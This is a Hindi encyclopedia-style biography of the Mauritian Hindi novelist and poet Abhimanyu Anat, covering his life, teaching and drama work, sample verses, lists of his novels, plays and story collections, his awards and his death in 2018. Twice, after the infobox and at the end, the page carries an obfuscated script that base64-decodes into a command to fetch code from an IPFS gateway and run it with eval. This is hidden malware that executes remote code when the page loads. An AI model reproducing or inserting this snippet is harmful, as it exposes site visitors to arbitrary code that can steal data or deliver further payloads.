अभिमन्यु अनत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
अभिमन्यु अनत
अभिमन्यु अनत
पूरा नाम अभिमन्यु अनत
अन्य नाम 'अनत' (उपनाम)
जन्म 9 अगस्त, 1937
जन्म भूमि मॉरीशस
मृत्यु 4 जून, 2018
कर्म भूमि मॉरीशस
मुख्य रचनाएँ 'कैक्टस के दांत', 'नागफनी में उलझी सांसें', 'गूँगा इतिहास', 'देख कबीरा हांसी', 'इंसान और मशीन', 'जब कल आएगा यमराज', 'लहरों की बेटी', 'एक बीघा प्यार', 'कुहासे का दायरा' आदि।
प्रसिद्धि हिन्दी कथा साहित्यकार
उपाधि 'मॉरीशस के उपन्यास सम्राट'
अन्य जानकारी अभिमन्यु अनत की कविताओं में शोषण, दमन और अत्याचार के ख़िलाफ़ आवाज़ बुलंद की गई है। बेरोज़गारी की समस्या पर भी इनकी दृष्टि गई है।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अभिमन्यु अनत (अंग्रेज़ी: Abhimanyu Anat, जन्म- 9 अगस्त, 1937, मॉरीशस; मृत्यु- 4 जून, 2018) मॉरीशस में हिन्दी कथा साहित्य के सम्राट हैं। उन्होंने 18 वर्षों से हिन्दी का अध्यापन किया और तीन वर्षों तक युवा मंत्रालय में 'नाट्य कला विभाग' में नाट्य प्रशिक्षक रहे। उन्होंने अपने उच्च-स्तरीय हिन्दी उपन्यासों और कहानियों के द्वारा मॉरीशस को हिन्दी साहित्य में उच्च मंच पर प्रतिष्ठित किया।

परिचय

अभिमन्यु अनत का जन्म 9 अगस्त, 1937 ई. को त्रिओले, मॉरीशस में हुआ था। मॉरीशस निवासी और वहीं पर पले-बढ़े अभिमन्यु अनत ने हिन्दी साहित्य की श्रीवृद्धि में जो सहयोग किया है, वह प्रशंसनीय है। अभिमन्यु का मूल भारत की ही मिट्टी है। इनके पूर्वज अन्य भारतीयों के साथ अंग्रेज़ों द्वारा वहाँ गन्ने की खेती में श्रम करने के लिए लाये गए थे। मज़दूरों के रूप में गये भारतीय अनत: वहीं पर बस गए। मॉरीशस काल-क्रम से अंग्रज़ों के शासन से मुक्त हुआ। भारतीय जो श्रमिक बनकर वहाँ गए थे, उनकी दूसरी-तीसरी पीढ़ियाँ पढ़ी-लिखी और सम्पन्न हैं। उनका जीवन स्तर बहुत ऊँचा है। अभिमन्यु की भारतीय पृष्ठभूमि ने उन्हें हिन्दी की सेवा के लिए उत्साहित किया और उन्होंने अपने पूर्वजों की मातृभूमि का ऋण अच्छी तरह से चुकाया। मॉरीशस के महान् कथा-शिल्पी अभिमन्यु अनत ने हिन्दी कविता को एक नया आयाम दिया है। उनकी कविताओं का भारत के हिन्दी साहित्य में भी महत्त्वपूर्ण स्थान है।

कार्यक्षेत्र

अठारह वर्षों तक हिन्दी का अध्यापन करने के पश्चात् तीन वर्षों तक अभिमन्यु अनत युवा मंत्रालय में नाट्य प्रशिक्षक रहे। मॉरीशस के 'महात्मा गांधी इंस्टीटयूट' में भाषा प्रभारी के पद से सेवानिवृत्त होने के बाद इन दिनों अभिमन्यु अनत वहीं के 'रवींद्रनाथ टैगोर इंस्टीटयूट' का निदेशक पद संभाल रहे हैं। अनेक राष्ट्रीय एवं अंतरराष्ट्रीय पुरस्कारों से सम्मानित अनत जी के पाठकों की संख्या भारत में भी कम नहीं है। विद्रोही लेखक की छवि धारण कर उन्होंने सदैव हिन्दी के प्रसार की बात की।

व्यक्तित्व

शांत, सौम्य व्यक्तित्व के धनी अभिमन्यु अनत मॉरीशस ही नहीं, वरन् पूरे हिन्दी जगत् के शिरोमणि हैं। मॉरीशस में उनकी छवि विद्रोही लेखक के रूप में होती है। उनकी लेखनी में सदैव आमजन की भावना मुखरित होती है। पद का लालच उन्हें कभी बांध नहीं पाया। अपनी लेखनी को सशक्त बनाने के लिए कई बार उन्होंने पद को भी ठोकर मार दी। उनके घर के पास स्थित समुद्र का शांत स्वरूप भी उनके व्यक्तित्व में समाहित हो गया है। मॉरीशस में हिन्दी साहित्य और अभिमन्यु एक दूसरे के पूरक हैं।

अतुल्य लेखनी

आज किसी भी भारतीय साहित्यकार के साथ अभिमन्यु अनत का तुलनात्मक अध्ययन कर शोध का प्रारूप दिया जा सकता है। उनकी लेखनी में सदैव मॉरीशस के आमजन की परेशानियों को उकेरा जाता रहा है। उन्हें कभी भी सत्ता का भय आक्रांत नहीं कर पाया। उन्होंने कई बार अपनी लेखनी के माध्यम से सत्ता को चुनौती प्रदान की। भारत में हिन्दी साहित्यकार के रूप में उनकी योग्यता को पूरी प्रतिष्ठा नहीं मिलने का मुख्य कारण भारतीय हिन्दी साहित्यकारों की अकर्मण्यता है। साहित्यकारों द्वारा अक्सर प्रवासी लेखकों से परहेज किया जाता है। जबकि वास्तविकता यह है कि हिन्दी साहित्य में अभिमन्यु अनत की लेखनी अतुल्य है। भारत की सांस्कृतिक संपन्नता मॉरीशस की तुलना में अधिक है, अत: भारत में प्रतिष्ठा का अपना एक अलग महत्व है। भारत के हिन्दी साहित्यकारों में प्रवासी लेखकों को प्रोत्साहन देने का अभाव है।[1]

हिन्दी साहित्य की महानिधि

अंग्रेजी भाषा को प्राथमिकता देने के पीछे दिखावा प्रवृत्ति को मुख्य कारण मानने वाले अभिमन्यु अनत के साथ लगभग पच्चीस सालों से संपर्क में रहने वाले साहित्यकार अशोक चक्रधर उन्हें हिन्दी साहित्य की महानिधि मानते हैं। साहित्य की विभिन्न विधाओं में 60 से अधिक पुस्तकों के रचयिता श्री अनत का उपन्यास 'लाल पसीना' कालजयी कृति के रूप में विख्यात हो चुका है।

मॉरीशस के उपन्यास सम्राट

उपन्यास के क्षेत्र में अभिमन्यु अनत 'मॉरीशस के उपन्यास सम्राट" है। उनके अभी तक 29 उपन्यास छप चुके हैं। पहला उपन्यास 'और नदी बहती रही' सन 1970 में छपा था तथा उनका नवीनतम उपन्यास 'अपना मन उपवन' अभी इसी वर्ष में प्रकाशित हुआ है। उनका प्रसिद्ध उपन्यास 'लाल पसीना' सन 1977 में छपा था, जो भारत से गये गिरमिटिया मज़दूरों की मार्मिक कहानी है। अब इसका अनुवाद 'फ्रेंच भाषा' में हो चुका है। इस उपन्यास की दो अन्य कड़ियाँ भी प्रकाशित हुई, जिनके शीर्षक हैं- 'गांधीजी बोले थे' (1984) तथा 'और पसीना बहता रहा' (1993)। भारत से बाहर हिन्दी में इस त्रिखंडी उपन्यास को लिखने वाले वे एकमात्र उपन्यासकार हैं, जिनमें भारतीय मज़दूरों की महाकाव्यात्मक गाथा का जीवन्त वर्णन हुआ है।

भूमिपुत्र

अभिमन्यु अनत अपने देश के भूमिपुत्र हैं तथा अनी जातीय परम्परा के राष्ट्रीय उपन्यासकार हैं। मॉरीशस की भूमि, वहां की संस्कृति, वहां के अंचल, वहां की सन्तानें सभी उनकी लेखकीय आत्मा के अंग हैं। वे अपने देश के वर्तमान की त्रासदियों, क्रियाकलापों, औपनिवेशिक दबाव और विसंस्कृतिकरण की दुष्प्रवृत्तियों का बड़ी यथार्थता के साथ उद्घाटन करते हैं तथा जीवन मूल्यों तथा आदर्शवाद को साथ लेकर चलते हैं।[2]

रचनाएँ

अभिमन्यु अनत की कविताओं में शोषण, दमन और अत्याचार के ख़िलाफ़ आवाज़ बुलंद की गई है। बेरोज़गारी की समस्या पर भी अनत की दृष्टि गई है। समसामयिक व्यवस्था पर कवि का भावुक हृदय चीत्कार कर उठता है-

जिस दिन सूरज को
मज़दूरों की ओर से गवाही देनी थी
उस दिन सुबह नहीं हुई
सुना गया कि
मालिक के यहां की पार्टी में
सूरज ने ज़्यादा पी ली थी।

  • अनंत की कविताओं में मॉरीशस के श्रमजीवियों की वेदना उभरती है। 'लक्ष्मी का प्रश्न' शीर्षक कविता में अनत प्रश्नवाचक मुद्रा में खड़े हो जाते हैं-

अनपढ़ लक्ष्मी पर इतना ज़रूर पूछती रही
पसीने की कीमत जब इतनी महंगी होती है
तो मज़दूर उसे इतने सस्ते क्यों बेच देता है।[3]

कविता संकलन
  • अब तक अनत के चार कविता संकलन प्रकाशित हो चुके हैं-
  1. कैक्टस के दांत
  2. नागफनी में उलझी सांसें
  3. एक डायरी बयान
  4. गुलमोहर खौल उठा
  • अनत द्वारा संपादित कविता संकलन हैं :
  1. मॉरीशस की हिन्दी कविता
  2. मॉरीशस के नौ हिन्दी कवि
नाटक -
  1. विरोध
  2. तीन दृश्य
  3. गूँगा इतिहास
  4. रोक दो कान्हा
  5. देख कबीरा हांसी
कहानी संग्रह-
  1. एक थाली समन्दर
  2. खामोशी के चीत्कार
  3. इंसान और मशीन
  4. वह बीच का आदमी
  5. जब कल आएगा यमराज
  • इनके छोटे-बड़े उपन्यासों की संख्या पैंतीस है। कुछ प्रसिद्ध नाम नीचे दिए जा रहे हैं-
  1. लहरों की बेटी
  2. मार्क ट्वेन का स्वर्ग
  3. फैसला आपका
  4. मुड़िया पहाड़ बोल उठा
  5. और नदी बहती रही
  6. आन्दोलन
  7. एक बीघा प्यार
  8. जम गया सूरज
  9. तीसरे किनारे पर
  10. चौथा प्राणी
  11. लाल पसीना
  12. तपती दोपहरी
  13. कुहासे का दायरा
  14. शेफाली
  15. हड़ताल कब होगी
  16. चुन-चुन चुनाव
  17. अपनी ही तलाश
  18. पर पगडंडी मरती नहीं
  19. अपनी-अपनी सीमा
  20. गांधीजी बोले थे
  21. शब्द भंग
  22. पसीना बहता
  23. आसमाप अपना आँगन
  24. अस्ति-अस्तु
  25. हम प्रवासी
  • इनके उपन्यासों में सर्वश्रेष्ठ है 'लाल पसीना', जिसे महाकाव्यात्मक उपन्यास माना जाता है।

सम्मान

अभिमन्यु अनत को अनेक महान् पुरस्कारों से सम्मानित किया गया जैसे साहित्य अकादमी, सोवियत लैंड नेहरु पुरस्कार, मैथिलीशरण गुप्त सम्मान, यशपाल पुरस्कार, जनसंस्कृति सम्मान, उत्तर प्रदेश हिन्दी संस्थान पुरस्कार आदि।

निधन

साहित्यकार अभिमन्यु अनत का सोमवार, 4 जून, 2018 को निधन हो गया। उनकी आयु 81 वर्ष थी और वह लंबे समय से अस्वस्थ थे।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी साहित्य के सशक्त हस्ताक्षर अभिमन्यु अनत (हिन्दी)। । अभिगमन तिथि: 10 जुलाई, 2011।
  2. हिन्दी का प्रवासी साहित्य (हिन्दी)। । अभिगमन तिथि: 10 जुलाई, 2011।
  3. मॉरीशस में हिन्दी की सौ साल पुरानी परंपरा (हिन्दी)। । अभिगमन तिथि: 10 जुलाई, 2011।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>